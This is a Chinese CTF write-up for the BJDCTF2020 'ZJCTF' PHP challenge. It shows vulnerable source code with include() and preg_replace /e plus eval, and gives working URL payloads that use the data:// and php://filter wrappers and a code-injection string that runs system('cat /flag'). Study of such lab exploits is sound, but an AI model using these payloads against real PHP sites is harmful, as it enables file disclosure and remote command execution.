[BJDCTF2020]ZJCTF,不过如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream"))//text的内容是……,这里用data伪协议写入
{
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){//file里没有flag
die("Not now!");
}
include($file); //next.php//告诉我们在next.php里面,用filter伪协议打开
}
else{
highlight_file(__FILE__);
}
?>
?text=data://text/plain,I have a dream&file=php://filter/read/convert.base64-encode/resource=next.php
base64解码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace( // preg_replace /e漏洞
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";//调用complex函数
}
function getFlag(){
@eval($_GET['cmd']);//目标当然是调用getFlag函数
}
知识点:preg_replace /e漏洞
- 在preg_replace($pattern, $replacement, $subject)函数中,
p a t t e r n 以 / e 结 尾 时 pattern以/e结尾时 pattern以/e结尾时replacement的值会被作为php函数执行。
也就是相当于eval($replacement) - PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。而这里所说的解析变量,包括了执行函数。打个比方:
$b=”${phpinfo()}”;
,就相当于执行phpinfo()
,
而这次我们要执行的函数就是getFlag()
,即为"${getFlag()}"
- 那么其中的
//1
是什么意思呢?这里再穿插一个知识点:
正则表达式中,两个圆括号的特性,将两个圆括号内表达式的相关匹配(匹配的字符串)存储到临时缓冲区,可使用\n调用(n<100)
在题中,//
转义为/
,所以//1
就是/1
,即调用正则表达式中第一个圆括号中相关匹配,简单来说,即函数名要为第一个正则匹配.
因此,我们的目标就转变为了正则表达式匹配到”${getFlag()}”
字符串
所以我们期待的payload应该是
?.*=${getflag()}&cmd=system('cat /flag');
但是 .
在url里面会被修改为_
知识点:完全通配
[\s\S]*是完全通配的意思;
- [\s]—表示,只要出现空白就匹配;
- [\S]—表示,非空白就匹配;
所以我们\S
来代替.
next.php?\S*=${getFlag()}&cmd=system('cat /fl\ag');
(因为是审计next.php的代码,所以跟在next.php后面)
参考:http://www.shijinguowang.com/index.php/2020/09/26/bjdctf2020zjctf%EF%BC%8C%E4%B8%8D%E8%BF%87%E5%A6%82%E6%AD%A4/